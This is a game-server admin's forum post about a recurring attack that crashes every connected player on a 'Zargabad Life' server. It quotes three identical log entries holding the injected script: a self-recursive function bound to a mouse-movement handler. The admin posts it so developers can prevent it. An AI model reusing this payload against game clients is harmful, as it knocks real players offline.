Hi, I'm an admin for Global Chaos Gaming's Zargabad Life server, on a few rare occasions over the last month or so we've experienced an attack that causes all players connected to crash to desktop. After an occurrence today, I was able to find some unique entries in publicvariable.log at the exact time that are very likely connected to the issue.
Here's an excerpt, but this was run on every player:
16.11.2012 00:22:47: Durandal (**IP**) **GUID** - #0 "ISSE_pub_Pstr_18" = "
[] spawn {
BIS_fnc_chk = { [_this,_this] call BIS_fnc_chk;};
disableSerialization;
_display = findDisplay 46;
_display displayAddEventHandler ["MouseMoving","_this call BIS_fnc_chk"];
};
"
16.11.2012 00:22:47: Shane (**IP**) **GUID** - #0 "ISSE_pub_Pstr_14" = "
[] spawn {
BIS_fnc_chk = { [_this,_this] call BIS_fnc_chk;};
disableSerialization;
_display = findDisplay 46;
_display displayAddEventHandler ["MouseMoving","_this call BIS_fnc_chk"];
};
"
16.11.2012 00:22:47: Zargero (**IP**) **GUID** - #0 "ISSE_pub_Pstr_11" = "
[] spawn {
BIS_fnc_chk = { [_this,_this] call BIS_fnc_chk;};
disableSerialization;
_display = findDisplay 46;
_display displayAddEventHandler ["MouseMoving","_this call BIS_fnc_chk"];
};
"
I'm mostly posting this so it can hopefully be prevented in an upcoming ver. Our server should be fine in the long run, but as far as inconveniencing the playerbase, a forced crash is about as disruptive as it gets.
If anyone has advice for now, or if I need to provide more information specific to our mission please let me know :)